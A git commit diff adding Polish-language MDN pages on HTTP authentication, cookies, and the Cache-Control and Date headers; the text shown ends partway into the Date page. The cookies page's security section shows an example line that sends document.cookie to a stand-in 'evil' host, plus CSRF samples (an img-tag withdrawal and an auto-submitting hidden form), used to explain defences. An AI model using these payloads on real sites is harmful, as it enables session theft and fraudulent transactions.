From 074785cea106179cb3305637055ab0a009ca74f2 Mon Sep 17 00:00:00 2001 From: Peter Bengtsson Date: Tue, 8 Dec 2020 14:42:52 -0500 Subject: initial commit --- files/pl/web/http/authentication/index.html | 135 ++++++++ files/pl/web/http/ciasteczka/index.html | 263 +++++++++++++++ files/pl/web/http/headers/cache-control/index.html | 171 ++++++++++ files/pl/web/http/headers/data/index.html | 81 +++++ files/pl/web/http/headers/index.html | 374 +++++++++++++++++++++ .../pl/web/http/headers/referrer-policy/index.html | 260 ++++++++++++++ .../http/http_wiadomosci_og\303\263lne/index.html" | 178 ++++++++++ files/pl/web/http/index.html | 89 +++++ 8 files changed, 1551 insertions(+) create mode 100644 files/pl/web/http/authentication/index.html create mode 100644 files/pl/web/http/ciasteczka/index.html create mode 100644 files/pl/web/http/headers/cache-control/index.html create mode 100644 files/pl/web/http/headers/data/index.html create mode 100644 files/pl/web/http/headers/index.html create mode 100644 files/pl/web/http/headers/referrer-policy/index.html create mode 100644 "files/pl/web/http/http_wiadomosci_og\303\263lne/index.html" create mode 100644 files/pl/web/http/index.html (limited to 'files/pl/web/http') diff --git a/files/pl/web/http/authentication/index.html b/files/pl/web/http/authentication/index.html new file mode 100644 index 0000000000..d1a365fd50 --- /dev/null +++ b/files/pl/web/http/authentication/index.html @@ -0,0 +1,135 @@ +--- +title: HTTP authentication +slug: Web/HTTP/Authentication +translation_of: Web/HTTP/Authentication +--- +
{{HTTPSidebar}}
+ +

Protokół HTTP zapewnia ogólną strukturę kontroli dostępu i uwierzytelniania. Ta strona stanowi wprowadzenie do struktury HTTP służącej do uwierzytelniania i pokazuje, jak ograniczyć dostęp do serwera za pomocą schematu HTTP „Basic”.

+ +

Ogólna struktura uwierzytelniania HTTP

+ +

{{RFC ("7235")}} definiuje strukturę uwierzytelniania HTTP, która może być używana przez serwer do {{glosariusza ("wyzwanie")}} żądania klienta, a przez klienta do dostarczania informacji uwierzytelniających.

+ +

Wyzwanie i przepływ odpowiedzi działają w następujący sposób:

+ +
    +
  1. Serwer odpowiada klientowi statusem odpowiedzi {{HTTPStatus ("401")}} (Unauthorized) i dostarcza informacji na temat autoryzacji za pomocą nagłówka odpowiedzi {{HTTPHeader ("WWW-Authenticate")}} zawierającego co najmniej jeden wyzwanie.
    2. +
  2. A client that wants to authenticate itself with the server can then do so by including an {{HTTPHeader("Authorization")}} request header with the credentials.
    3. +
  3. Usually a client will present a password prompt to the user and will then issue the request including the correct Authorization header.
    4. +
+ +

A sequence diagram illustrating HTTP messages between a client and a server lifeline.

+ +

In the case of a "Basic" authentication like shown in the figure, the exchange must happen over an HTTPS (TLS) connection to be secure.

+ +

Proxy authentication

+ +

The same challenge and response mechanism can be used for proxy authentication. As both resource authentication and proxy authentication can coexist, a different set of headers and status codes is needed. In the case of proxies, the challenging status code is {{HTTPStatus("407")}} (Proxy Authentication Required), the {{HTTPHeader("Proxy-Authenticate")}} response header contains at least one challenge applicable to the proxy, and the {{HTTPHeader("Proxy-Authorization")}} request header is used for providing the credentials to the proxy server.

+ +

Access forbidden

+ +

If a (proxy) server receives valid credentials that are inadequate to access a given resource, the server should respond with the {{HTTPStatus("403")}} Forbidden status code. Unlike {{HTTPStatus("401")}} Unauthorized or {{HTTPStatus("407")}} Proxy Authentication Required, authentication is impossible for this user.

+ +

Authentication of cross-origin images

+ +

A potential security hole recently been fixed by browsers is authentication of cross-site images. From Firefox 59 onwards, image resources loaded from different origins to the current document are no longer able to trigger HTTP authentication dialogs ({{bug(1423146)}}), preventing user credentials being stolen if attackers were able to embed an arbitrary image into a third-party page.

+ +

Character encoding of HTTP authentication

+ +

Browsers use utf-8 encoding for usernames and passwords.

+ +

Firefox once used ISO-8859-1, but changed to utf-8 for parity with other browsers and to avoid potential problems as described in {{bug(1419658)}}.

+ +

WWW-Authenticate and Proxy-Authenticate headers

+ +

The {{HTTPHeader("WWW-Authenticate")}} and {{HTTPHeader("Proxy-Authenticate")}} response headers define the authentication method that should be used to gain access to a resource. They must specify which authentication scheme is used, so that the client that wishes to authorize knows how to provide the credentials.

+ +

The syntax for these headers is the following:

+ +
WWW-Authenticate: <type> realm=<realm>
+Proxy-Authenticate: <type> realm=<realm>
+
+ +

Here, <type> is the authentication scheme ("Basic" is the most common scheme and introduced below). The realm is used to describe the protected area or to indicate the scope of protection. This could be a message like "Access to the staging site" or similar, so that the user knows to which space they are trying to get access to.

+ +

Authorization and Proxy-Authorization headers

+ +

The {{HTTPHeader("Authorization")}} and {{HTTPHeader("Proxy-Authorization")}} request headers contain the credentials to authenticate a user agent with a (proxy) server. Here, the <type> is needed again followed by the credentials, which can be encoded or encrypted depending on which authentication scheme is used.

+ +
Authorization: <type> <credentials>
+Proxy-Authorization: <type> <credentials>
+
+ +

Authentication schemes

+ +

The general HTTP authentication framework is used by several authentication schemes. Schemes can differ in security strength and in their availability in client or server software.

+ +

The most common authentication scheme is the "Basic" authentication scheme, which is introduced in more detail below. IANA maintains a list of authentication schemes, but there are other schemes offered by host services, such as Amazon AWS. Common authentication schemes include:

+ +
+
Basic
+
See {{rfc(7617)}}, base64-encoded credentials. More information below.
+
Bearer
+
See {{rfc(6750)}}, bearer tokens to access OAuth 2.0-protected resources
+
Digest
+
See {{rfc(7616)}}, only md5 hashing is supported in Firefox, see {{bug(472823)}} for SHA encryption support
+
HOBA
+
See {{rfc(7486)}}, Section 3, HTTP Origin-Bound Authentication, digital-signature-based
+
Mutual
+
See {{rfc(8120)}}
+
AWS4-HMAC-SHA256
+
See AWS docs
+
+ +

Basic authentication scheme

+ +

The "Basic" HTTP authentication scheme is defined in {{rfc(7617)}}, which transmits credentials as user ID/password pairs, encoded using base64.

+ +

Security of basic authentication

+ +

As the user ID and password are passed over the network as clear text (it is base64 encoded, but base64 is a reversible encoding), the basic authentication scheme is not secure. HTTPS/TLS should be used with basic authentication. Without these additional security enhancements, basic authentication should not be used to protect sensitive or valuable information.

+ +

Restricting access with Apache and basic authentication

+ +

To password-protect a directory on an Apache server, you will need a .htaccess and a .htpasswd file.

+ +

The .htaccess file typically looks like this:

+ +
AuthType Basic
+AuthName "Access to the staging site"
+AuthUserFile /path/to/.htpasswd
+Require valid-user
+ +

The .htaccess file references a .htpasswd file in which each line consists of a username and a password separated by a colon (:). You cannot see the actual passwords as they are hashed (using MD5-based hashing, in this case). Note that you can name your .htpasswd file differently if you like, but keep in mind this file shouldn't be accessible to anyone. (Apache is usually configured to prevent access to .ht* files).

+ +
aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz.
+user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/
+
+ +

Restricting access with nginx and basic authentication

+ +

For nginx, you will need to specify a location that you are going to protect and the auth_basic directive that provides the name to the password-protected area. The auth_basic_user_file directive then points to a .htpasswd file containing the encrypted user credentials, just like in the Apache example above.

+ +
location /status {
+    auth_basic           "Access to the staging site";
+    auth_basic_user_file /etc/apache2/.htpasswd;
+}
+ +

Access using credentials in the URL

+ +

Many clients also let you avoid the login prompt by using an encoded URL containing the username and the password like this:

+ +
https://username:password@www.example.com/
+ +

The use of these URLs is deprecated. In Chrome, the username:password@ part in URLs is even stripped out for security reasons. In Firefox, it is checked if the site actually requires authentication and if not, Firefox will warn the user with a prompt "You are about to log in to the site “www.example.com” with the username “username”, but the website does not require authentication. This may be an attempt to trick you."

+ +

See also

+ + diff --git a/files/pl/web/http/ciasteczka/index.html b/files/pl/web/http/ciasteczka/index.html new file mode 100644 index 0000000000..d8720ac4c4 --- /dev/null +++ b/files/pl/web/http/ciasteczka/index.html @@ -0,0 +1,263 @@ +--- +title: Ciasteczka HTTP +slug: Web/HTTP/Ciasteczka +tags: + - aplikacje internetowe + - ciasteczka + - ciasteczka artykuł + - dane + - pamięć przeglądarki + - pliki cookie + - protokoły + - prywatność + - przeglądarka + - serwer + - śledzenie + - żądania HTTP +translation_of: Web/HTTP/Cookies +--- +

{{HTTPSidebar}}

+ +

Ciasteczka HTTP (pliki cookie) to niewielkie obiekty danych, które serwer wysyła do przeglądarki internetowej użytkownika. Przeglądarka może je przechowywać i wysyłać ponownie do tego samego serwera wraz z kolejnym żądaniem. Przeważnie są używane do określenia czy dwa żądania zostały nadane z tej samej przeglądarki, np. aby użytkownik pozostał zalogowany. Są sposobem na zapamiętanie informacji o stanie sesji pomimo bezstanowej natury protokołu HTTP.

+ +

Główne zastosowania ciasteczek:

+ +
+
Zarządzanie sesją
+
Loginy, koszyki sklepów internetowych, rezultaty w grach i wszystko inne o czym powinien pamiętać serwer
+
Personalizacja
+
Preferencje użytkownika, motywy i inne ustawienia
+
Śledzenie
+
Zapisywanie i analiza zachowania użytkownika
+
+ +

Ciasteczka wykorzystywano kiedyś do przechowywania wszelkiego rodzaju plików po stronie klienta. Było to uzasadnione w czasach, gdy brakowało alternatywnych rozwiązań. Aktualnie zaleca się stosowanie nowoczesnych API do zapamiętywania danych. Ciasteczka są wysyłane wraz z każdym żądaniem, więc mogą spowodować pogorszenie wydajności (szczególnie dla połączeń mobilnych). Nowoczesne API do przechowywania plików to Web storage API (localStorage i sessionStorage) oraz IndexedDB.

+ +
+

Aby podejrzeć przechowywane ciasteczka (lub inne pamięci, z których mogą korzystać strony internetowe) należy wejść w zakładkę Dane w narzędziach dla programistów dostępnych w przeglądarce.

+
+ +

Tworzenie ciasteczek

+ +

Otrzymując żądanie HTTP serwer może wysłać wraz z odpowiedzią nagłówek Set-Cookie. Ciasteczko jest zazwyczaj przechowywane przez przeglądarkę, by następnie zostać wysłane wraz z żądaniami do tego samego serwera jako wartość nagłówka Cookie. Istnieje opcja ustawienia daty wygaśnięcia lub czasu trwania, po których ciasteczko nie będzie wysyłane. Dodatkowo można ustawić ograniczenia dla konkretnej domeny lub ścieżki, aby dla wartości innych niż podane nie przesyłać ciasteczka.

+ + + +

Nagłówek Set-Cookie jest zawarty w odpowiedzi serwera na żądanie HTTP agenta użytkownika (np. przeglądarki). Przykładowo:

+ +
Set-Cookie: <nazwa-ciasteczka>=<wartość-ciasteczka>
+ +

Ten nagłówek nadany przez serwer informuje klienta, że należy zapisać ciasteczko.

+ +
Uwaga: W odnośnikach znajdują się przykłady użycia nagłówka Set-Cookie w różnych aplikacjach uruchamianych po stronie serwera: + + +
+ +
HTTP/2.0 200 OK
+Content-type: text/html
+Set-Cookie: yummy_cookie=choco
+Set-Cookie: tasty_cookie=strawberry
+
+[page content]
+ +

Teraz z każdym kolejnym żądaniem do serwera, używając nagłówka Cookie, przeglądarka będzie wysyłać także wszystkie przechowywane ciasteczka.

+ +
GET /sample_page.html HTTP/2.0
+Host: www.example.org
+Cookie: yummy_cookie=choco; tasty_cookie=strawberry
+ +

Ciasteczka sesyjne

+ +

Ciasteczko stworzone w poprzedniej sekcji jest ciasteczkiem sesyjnym: zostaje usunięte wraz z wyłączeniem klienta, ponieważ nie użyto dyrektyw Expires lub Max-Age. Jednakże przeglądarki mogą użyć mechanizmu przywracania sesji, który zmienia większość ciasteczek sesyjnych w trwałe, tak jakby przeglądarka nie została nigdy zamknięta.

+ +

Ciasteczka trwałe

+ +

Zamiast wygasnąć po wyłączeniu klienta, trwałe ciasteczka wygasają w konkretnym terminie (Expires) lub po określonym czasie (Max-Age).

+ +
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
+ +
+

Uwaga: Ustawiając termin wygaśnięcia, czas i data są określane w odniesieniu do klienta, który zapisuje ciasteczko, nie w odniesieniu do serwera.

+
+ +

Ciasteczka Secure i HttpOnly

+ +

Bezpieczne ciasteczko może być wysłane do serwera tylko i wyłącznie zaszyfrowanym żądaniem protokołu HTTPS. Nawet używając dyrektywy Secure, poufne dane nigdy nie powinny być przechowywane w ciasteczkach, ponieważ nie są one bezpieczne, a ta flaga nie może zaoferować dostatecznej ochrony. Zaczynając od przeglądarek Chrome 52 i Firefox 52, niepewne strony (http:) nie mają możliwości ustawiania ciasteczek z dyrektywą Secure.

+ +

Aby ograniczać możliwości przeprowadzenia ataku cross-site scripting ({{Glossary("XSS")}}), ciasteczka HttpOnly są niedostępnie dla JavaScript'owego {{domxref("Document.cookie")}} API; można je tylko wysyłać do serwera. Przykładowo, ciasteczka utrzymujące sesję po stronie serwera nie muszą być dostępne dla JavaScript'u, więc flaga HttpOnly powinna być ustawiona.

+ +
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
+ +

Zakres ciasteczek

+ +

Dyrektywy Domain i Path definiują zakres ciasteczka: do jakich adresów URL ciasteczka powinny być wysyłane.

+ +

Domain określa dozwolone hosty sieciowe. Jeżeli nie jest ustawiona to domyślną wartością jest host aktualnej lokalizacji dokumentu, z pominięciem subdomen. Jeżeli dyrektywa Domain jest określona to subdomeny zawsze są uwzględnione.

+ +

Przykładowo, jeżeli ustawiono Domain=mozilla.org, to ciasteczka są uwzględnione także dla subdomen takich jak developer.mozilla.org.

+ +

Path oznacza, że podana ścieżka URL musi być zawarta w żądanym adresie URL aby wysłać nagłówek Cookie. Znak %x2F ("/") jest uznawany za separator katalogu, a wszystkie podkatalogi także spełniają warunek.

+ +

Jeżeli ustawiono Path=/docs, to następujące przykładowe ścieżki będą pasować:

+ + + +

Ciasteczka SameSite {{experimental_inline}}

+ +

Ciasteczka SameSite pozwalają serwerom wymagać, aby nie były one przesyłane żądaniami pomiędzy stronami internetowymi (gdzie {{Glossary("Site")}} jest zdefiniowane jako rejestrowalna domena), co zapewnia pewną ochronę od ataków Cross-Site Request Forgery ({{Glossary("CSRF")}}).

+ +

Ciasteczka SameSite są relatywnie nowe, ale wspierane przez wszystkie główne przeglądarki internetowe.

+ +

Przykładowo:

+ +
Set-Cookie: nazwa=wartość; SameSite=Strict
+ +

Atrybut SameSite może przyjmować jedną z trzech wartości (bez rozróżniania wielkości liter):

+ +
+
None
+
Przeglądarka będzie wysyłać ciasteczka zarówno żądaniami pomiędzy stronami (cross-site) jak i żądaniami odnoszącymi się do aktualnej strony (same-site).
+
Strict
+
Przeglądarka będzie wysyłać ciasteczka tylko żądaniami same-site (pochodzącymi z witryny, która ustawia ciasteczko). Jeżeli żądanie nie pochodzi z adresu URL aktualnej lokacji to żadne z ciasteczek oznaczonych atrybutem Strict nie zostanie przesłane.
+
Lax
+
Ciasteczka SameSite są wstrzymywane przy żądaniach, które wywołują ładowanie obrazów lub ramek z innych stron. Będą jednak wysłane, gdy użytkownik przechodzi do adresu URL z zewnętrznej strony, np. poprzez kliknięcie w link.
+
+ +
+

Przeglądarki decydują się na domyślne ustawianie SameSite=Lax. Jeżeli istnieje potrzeba wysyła ciasteczka pomiędzy różnymi źródłami (cross-origin), należy zrezygnować z zabezpieczenia SameSite używając wartości None dla tej dyrektywy. Wymaga ona obecności atrybutu Secure.

+
+ +

Prefiksy ciasteczek {{experimental_inline}}

+ +

Konstrukcja mechanizmu działania ciasteczek uniemożliwia serwerowi otrzymanie potwierdzenia ustawienia ciasteczka dla bezpiecznego źródła, a nawet dowiedzenia się gdzie ciasteczko zostało pierwotnie ustawione.  Każda subdomena jak na przykład application.example.com może ustawić ciasteczko, które będzie wysyłane wraz z żądaniami do example.com lub do innych subdomen dzięki ustawieniu atrybutu Domain:

+ +
Set-Cookie: CSRF=e8b667; Secure; Domain=example.com
+ +

Jeżeli podatna aplikacja jest dostępna na subdomenie to ten mechanizm może być wykorzystany w ataku session fixation. Gdy użytkownik odwiedza stronę na głównej domenie (lub innej subdomenie), aplikacja może zaufać istniejącej wartości wysłanej w ciasteczku użytkownika. To może pozwolić atakującemu ominąć zabezpieczenie przed CSRF lub przejąć sesję po zalogowaniu się użytkownika.

+ +

Alternatywnie, jeżeli główna domena nie używa {{Glossary("HSTS")}} z ustawioną opcją includeSubdomains,  to użytkownikowi podlegającemu właśnie atakowi MitM (być może podłączonemu do otwartej sieci Wi-Fi) może zostać zwrócona odpowiedź na żądanie wraz z ustawionym nagłówkiem Set-Cookie z nieistniejącej subdomeny. Wynik końcowy byłby taki sam, ponieważ przeglądarka przechowywałaby nielegalny plik cookie i wysyłałaby go na wszystkie inne strony w domenie example.com.

+ +

Aby ograniczyć możliwości przeprowadzenia ataku session fixation powinno się przede wszystkim ponownie generować wartości ciasteczka sesyjnego gdy użytkownik się uwierzytelnia (nawet jeśli ciasteczko już istnieje) i dokonywać powiązania tokena CSRF z użytkownikiem. W ramach silniejszej obrony możliwe jest użycie prefiksów ciasteczek w celu potwierdzenia pewnych faktów na temat samych ciasteczek. Dostępne są dwa prefiksy:

+ +
+
__Host-
+
Jeżeli ciasteczko posiada ten prefiks, to będzie ono zaakceptowane tylko poprzez dyrektywę Set-Cookie oznaczoną jako Secure, wysłaną z bezpiecznego źródła (HTTPS), nie posiadającą atrybutu Domain i mającą atrybut Path o wartości /. Tym sposobem ciasteczka mogą być widoczne jako "domain-locked".
+
__Secure-
+
Jeżeli ciasteczko posiada ten prefiks, to będzie ono zaakceptowane tylko poprzez dyrektywę Set-Cookie oznaczoną jako Secure i wysłaną z bezpiecznego źródła (HTTPS). Jest to słabsze zabezpieczenie niż prefiks __Host-.
+
+ +

Ciasteczka niespełniające kryteriów zostaną odrzucone przez przeglądarkę. Zapewnia to, że gdyby subdomena spróbowała stworzyć takie ciasteczko, to zostanie ono ograniczone do subdomeny lub całkowicie zignorowane. Podczas określania, czy użytkownik jest uwierzytelniony lub czy token CSRF jest poprawny, serwer aplikacji sprawdza tylko ciasteczka o określonych nazwach. Dzięki temu mechanizm prefiksów efektywnie działa jako obrona przed session fixation.

+ +
+

Aplikacja będąca serwerem musi sprawdzić ciasteczko o pełnej nazwie uwzględniającej prefiks. Dlatego agent użytkownika aplikacji nie wytnie prefiksu przed wysłaniem ciasteczka w nagłówku {{HTTPHeader("Cookie")}}.

+
+ +

Aby uzyskać więcej informacji o prefiksach ciasteczek i aktualnym stanie wspieralności tego rozwiązania przez przeglądarki odwiedź sekcję Set-Cookie.

+ +

Dostęp JavaScript za pomocą Document.cookie

+ +

Nowe ciasteczka mogą być tworzone z użyciem JavaScriptu poprzez użycie właściwości {{domxref("Document.cookie")}}, a jeżeli flaga HttpOnly nie jest ustawiona, to także istniejące ciasteczka są dostępne.

+ +
document.cookie = "yummy_cookie=choco";
+document.cookie = "tasty_cookie=strawberry";
+console.log(document.cookie);
+// logs "yummy_cookie=choco; tasty_cookie=strawberry"
+ +

Ciasteczka stworzone z użyciem JavaScriptu nie mogą zawierać flagi HttpOnly.

+ +

Ciasteczka dostępne dla JavaScriptu są narażone na cyberataki. Więcej szczegółów znajduje się w poniższej sekcji.

+ +

Bezpieczeństwo

+ +
+

Należy zawsze pamiętać, że informacje przechowywane w ciasteczkach będą widoczne i mogą zostać zmodyfikowane przez użytkownika. W zależności od aplikacji, pożądane może być użycie nieprzejrzystego identyfikatora sprawdzanego po stronie serwera lub rozważenie alternatywnych mechanizmów uwierzytelniania/poufności takich jak JSON Web Tokens.

+
+ +

Przejmowanie sesji i XSS

+ +

Ciasteczka są często używane w aplikacjach webowych do identyfikowania użytkownika i jego uwierzytelnionej sesji, więc kradzież ciasteczka może prowadzić do jej przejęcia. Powszechnymi sposobami kradzieży ciasteczek są inżynieria społeczna i wykorzystywanie podatności XSS w aplikacjach.

+ +
(new Image()).src = "http://www.evil-domain.com/steal-cookie?cookie=" + document.cookie;
+ +

Atrybut HttpOnly może pomóc uniknąć tego ataku poprzez zablokowanie JavaScriptowi dostępu do wartości ciasteczka.  Sposobem na złagodzenie skutków takiego ataku jest wdrożenie surowej polityki bezpieczeństwa treści (CSP).

+ +

Cross-site request forgery (CSRF)

+ +

Na stronie Wikipedii znajduje się dobry przykład {{Glossary("CSRF")}}. W tej sytuacji ktoś załączył element "img", który tak na prawdę nie jest obrazem (np. na niefiltrowanym czacie lub forum), a zamiast tego jest żądaniem do serwera banku użytkownika mającym na celu wypłatę pieniędzy:

+ +
<img src="https://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
+ +

Jeżeli jesteś aktualnie zalogowany na swoim koncie bankowym i odpowiadające ciasteczka są dalej aktualne (i nie ma żadnej dodatkowej walidacji), to próba załadowania "obrazka" zakończy się przelewem pieniędzy. Dla punktów końcowych wymagających żądania POST jest możliwe aby  programowo wykonać potwierdzenie formularza (być może zawartego w niewidzialnym elemencie <iframe>) gdy strona jest ładowana:

+ +
<form action="https://bank.example.com/withdraw" method="POST">
+  <input type="hidden" name="account" value="bob">
+  <input type="hidden" name="amount" value="1000000">
+  <input type="hidden" name="for" value="mallory">
+</form>
+<script>window.addEventListener('DOMContentLoaded', (e) => { document.querySelector('form').submit(); }</script>
+
+ +

Jest kilka technik, których stosowanie powinno być używane do zapobiegania CSRF:

+ + + +

Śledzenie i prywatność

+ +

Ciasteczka podmiotów zewnętrznych (third-party cookies)

+ +

Ciasteczka zawsze mają przyporządkowaną jakąś domenę. Jeżeli jest ona tą samą domeną co domena aktualnie odwiedzanej strony to nazywamy ciasteczko własnym (first-party cookie). W innym przypadku mówimy o ciasteczku zewnętrznego podmiotu/witryny. Podczas gdy ciasteczka własne są wysyłane tylko do serwerów, które je ustawiły, strona internetowa może zawierać obrazki lub inne komponenty przechowywane na serwerach w innych domenach (np. banery reklamowe). Takie ciasteczka są głównie używane do reklam i śledzenia. Dobrym przykładem są ciasteczka używane przez Google. Większość przeglądarek domyślnie zezwala na działanie ciasteczek zewnętrznych podmiotów, ale istnieją dodatki blokujące je (np. Privacy Badger stworzony przez EFF).

+ +

Jeżeli jako serwis internetowy nie ujawniasz faktu używania ciasteczek zewnętrznych podmiotów to zaufanie użytkowników może zostać nadszarpnięte, gdy się o tym dowiedzą. Wyraźna informacja (np. w polityce prywatności) zazwyczaj eliminuje wszelkie negatywne skutki ich obecności. Niektóre kraje mają także przepisy dotyczące ciasteczek. Zobacz na przykładzie oświadczenia fundacji Wikimedia o plikach cookie.

+ +

Do-Not-Track

+ +

Nie ma prawnych lub technologicznych wymagań używania nagłówka DNT, ale może on być użyty aby zasygnalizować, że aplikacja webowa powinna wyłączyć mechanizm śledzenia lub śledzenia poszczególnych użytkowników przez jednego użytkownika. Zobacz DNT aby uzyskać więcej informacji.

+ + + +

Wymagania dla ciasteczek w Unii Europejskiej są zdefiniowane w dyrektywie 2009/136/EC wydanej przez Parlament Europejski, która weszła w życie 25 maja 2011. Dyrektywa sama w sobie nie jest prawem, ale wymaganiem wprowadzenia prawa spełniającego jej wymagania przez państwa członkowskie. Prawo może różnić się w zależności od państwa.

+ +

W skrócie, dyrektywa wymusza na zarządzających stronami internetowymi uzyskanie świadomej zgody od użytkowników na przechowywanie i pobieranie jakiejkolwiek informacji dostępnej na komputerze, komórce czy innym urządzeniu, z którego korzystają. Od wprowadzenia nowego prawa wiele stron dodało banery informujące użytkowników o używaniu ciasteczek.

+ +

Aby dowiedzieć się więcej, sprawdź artykuł na Wikipedii oraz zdobądź informacje jak wygląda aktualne prawo w docelowym regionie.

+ +

Ciasteczka zombie i  "Evercookies"

+ +

Bardziej radykalnym podejściem do ciasteczek są ciasteczka zombie lub "Evercookies", które po usunięciu są w stanie odtworzyć się na nowo. Zostały zaprojektowane tak, aby ciężko było usunąć je na zawsze. W celu zapewnienia tej funkcjonalności implementacje używają m.in. Web storage API i Flash Local Shared Objects.

+ + + +

Zobacz także

+ + diff --git a/files/pl/web/http/headers/cache-control/index.html b/files/pl/web/http/headers/cache-control/index.html new file mode 100644 index 0000000000..8ce8eb1f63 --- /dev/null +++ b/files/pl/web/http/headers/cache-control/index.html @@ -0,0 +1,171 @@ +--- +title: Cache-Control +slug: Web/HTTP/Headers/Cache-Control +translation_of: Web/HTTP/Headers/Cache-Control +--- +
{{HTTPSidebar}}
+ +

Cache-Control nagłówek jest stosowany do określania dyrektyw sterujących pamięcią podręczną w zapytaniu i odpowiedzi protokołu HTTP. Dyrektywy pamięci podręcznej są jednokierunkowe, co oznacza że dyrektywa użyta w zapytaniu klienta HTTP nie musi pojawić się w odpowiedzi serwera.

+ + + + + + + + + + + + + + + + +
Header type{{Glossary("General header")}}
{{Glossary("Forbidden header name")}}no
{{Glossary("Simple response header", "CORS-safelisted response-header")}}yes
+ +

Składnia

+ +

Wielkość liter nie ma znaczeniu w określaniu dyrektyw. Dyrektywa może posiadać opcjonalny argument który może być podany jako token (słowo) lub string w cudzysłowiu. Możliwe jest podanie wielu dyrektyw przez oddzielenie ich przecinkiem.

+ +

Dyrektywy zapytania

+ +

Standardowe dyrektywy nagłówka Cache-Control które mogą być użyte w zapytaniu klienta HTTP.

+ +
Cache-Control: max-age=<seconds>
+Cache-Control: max-stale[=<seconds>]
+Cache-Control: min-fresh=<seconds>
+Cache-Control: no-cache
+Cache-Control: no-store
+Cache-Control: no-transform
+Cache-Control: only-if-cached
+
+ +

Dyrektywy odpowiedzi

+ +

Standardowe dyrektywy nagłówka Cache-Control które mogą być użyte w odpowiedzi serwera HTTP.

+ +
Cache-Control: must-revalidate
+Cache-Control: no-cache
+Cache-Control: no-store
+Cache-Control: no-transform
+Cache-Control: public
+Cache-Control: private
+Cache-Control: proxy-revalidate
+Cache-Control: max-age=<seconds>
+Cache-Control: s-maxage=<seconds>
+
+ +

Extension Cache-Control directives

+ +

Extension Cache-Control directives are not part of the core HTTP caching standards document. Be sure to check the compatibility table for their support.

+ +
Cache-Control: immutable
+Cache-Control: stale-while-revalidate=<seconds>
+Cache-Control: stale-if-error=<seconds>
+
+ +

Directives

+ +

Cacheability

+ +
+
public
+
Indicates that the response may be cached by any cache.
+
private
+
Indicates that the response is intended for a single user and must not be stored by a shared cache. A private cache may store the response.
+
no-cache
+
Forces caches to submit the request to the origin server for validation before releasing a cached copy.
+
only-if-cached
+
Indicates to not retrieve new data. This being the case, the server wishes the client to obtain a response only once and then cache. From this moment the client should keep releasing a cached copy and avoid contacting the origin-server to see if a newer copy exists.
+
+ +

Expiration

+ +
+
max-age=<seconds>
+
Specifies the maximum amount of time a resource will be considered fresh. Contrary to Expires, this directive is relative to the time of the request.
+
s-maxage=<seconds>
+
Overrides max-age or the Expires header, but it only applies to shared caches (e.g., proxies) and is ignored by a private cache.
+
max-stale[=<seconds>]
+
Indicates that the client is willing to accept a response that has exceeded its expiration time. Optionally, you can assign a value in seconds, indicating the time the response must not be expired by.
+
min-fresh=<seconds>
+
Indicates that the client wants a response that will still be fresh for at least the specified number of seconds.
+
stale-while-revalidate=<seconds> {{experimental_inline}}
+
Indicates that the client is willing to accept a stale response while asynchronously checking in the background for a fresh one. The seconds value indicates for how long the client is willing to accept a stale response.
+
stale-if-error=<seconds> {{experimental_inline}}
+
Indicates that the client is willing to accept a stale response if the check for a fresh one fails. The seconds value indicates for how long the client is willing to accept the stale response after the initial expiration.
+
+ +

Revalidation and reloading

+ +
+
must-revalidate
+
The cache must verify the status of the stale resources before using it and expired ones should not be used.
+
proxy-revalidate
+
Same as must-revalidate, but it only applies to shared caches (e.g., proxies) and is ignored by a private cache.
+
immutable
+
Indicates that the response body will not change over time. The resource, if unexpired, is unchanged on the server and therefore the client should not send a conditional revalidation for it (e.g. If-None-Match or If-Modified-Since) to check for updates, even when the user explicitly refreshes the page. Clients that aren't aware of this extension must ignore them as per the HTTP specification. In Firefox, immutable is only honored on https:// transactions. For more information, see also this blog post.
+
+ +

Other

+ +
+
no-store
+
The cache should not store anything about the client request or server response.
+
no-transform
+
No transformations or conversions should be made to the resource. The Content-Encoding, Content-Range, Content-Type headers must not be modified by a proxy. A non- transparent proxy might, for example, convert between image formats in order to save cache space or to reduce the amount of traffic on a slow link. The no-transform directive disallows this.
+
+ +

Examples

+ +

Preventing caching

+ +

To turn off caching, you can send the following response header. In addition, see also the Expires and Pragma headers.

+ +
Cache-Control: no-cache, no-store, must-revalidate
+
+ +

Caching static assets

+ +

For the files in the application that will not change, you can usually add aggressive caching by sending the response header below. This includes static files that are served by the application such as images, CSS files and JavaScript files, for example. In addition, see also the Expires header.

+ +
Cache-Control: public, max-age=31536000
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + +
SpecificationTitle
{{RFC("7234")}}Hypertext Transfer Protocol (HTTP/1.1): Caching
{{RFC("5861")}}HTTP Cache-Control Extensions for Stale Content
{{RFC("8246")}}HTTP Immutable Responses
+ +

Browser compatibility

+ + + +

{{Compat("http.headers.Cache-Control")}}

+ +

See also

+ + diff --git a/files/pl/web/http/headers/data/index.html b/files/pl/web/http/headers/data/index.html new file mode 100644 index 0000000000..f348b4e839 --- /dev/null +++ b/files/pl/web/http/headers/data/index.html @@ -0,0 +1,81 @@ +--- +title: Data +slug: Web/HTTP/Headers/Data +translation_of: Web/HTTP/Headers/Date +--- +
{{HTTPSidebar}}
+ +

Date jest to ogólny nagłówek HTTP zawierający datę i czas w jakiej wiadomość została stworzona.

+ + + + + + + + + + + + +
Header type{{Glossary("General header")}}
{{Glossary("Forbidden header name")}}yes
+ +

Składnia

+ +
Date: <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT
+
+ +

Dyrektywy

+ +
+
<day-name>
+
One of "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", or "Sun" (case-sensitive).
+
<day>
+
2 digit day number, e.g. "04" or "23".
+
<month>
+
One of "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (case sensitive).
+
<year>
+
4 digit year number, e.g. "1990" or "2016".
+
<hour>
+
2 digit hour number, e.g. "09" or "23".
+
<minute>
+
2 digit minute number, e.g. "04" or "59".
+
<second>
+
2 digit second number, e.g. "04" or "59".
+
GMT
+
+

Greenwich Mean Time. HTTP dates are always expressed in GMT, never in local time.

+
+
+ +

Przykłady

+ +
Date: Wed, 21 Oct 2015 07:28:00 GMT
+
+ +

Specyfikacja

